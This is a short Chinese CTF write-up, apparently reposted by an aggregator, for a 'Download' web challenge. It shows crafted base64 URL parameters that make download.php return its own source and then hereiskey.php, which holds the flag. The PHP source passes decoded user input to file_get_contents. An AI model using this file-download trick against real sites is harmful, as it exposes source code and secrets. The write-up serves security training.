南京邮电CTF平台做题writeup--web--Download~
Posted v1ce0ye
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了南京邮电CTF平台做题writeup--web--Download~相关的知识,希望对你有一定的参考价值。
网址提供了两首歌的下载链接,分别为
http://way.nuptzj.cn/web6/download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=
http://way.nuptzj.cn/web6/download.php?url=YnV4aWFuZ3poYW5nZGEubXAz
可见下载文件名称以base64加密形式出现,于是构造download.php的base64加密ZG93bmxvYWQucGhw
访问http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw下载download.php
download.php
??<?php error_reporting(0); include("hereiskey.php"); $url=base64_decode($_GET[url]); if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="download.php"){ $file_size = filesize($url); header ( "Pragma: public" ); header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" ); header ( "Cache-Control: private", false ); header ( "Content-Transfer-Encoding: binary" ); header ( "Content-Type:audio/mpeg MP3"); header ( "Content-Length: " . $file_size); header ( "Content-Disposition: attachment; filename=".$url); echo(file_get_contents($url)); exit; } else { echo "Access Forbidden!"; } ?>
发现hereiskey.php同理下载hereiskey.php
?<?php //flag:nctf{download_any_file_666} ?>
以上是关于南京邮电CTF平台做题writeup--web--Download~的主要内容,如果未能解决你的问题,请参考以下文章
南京邮电大学网络攻防训练平台(NCTF)-异性相吸-Writeup
南京邮电大学网络攻防平台(NCTF)-MD5-Writeup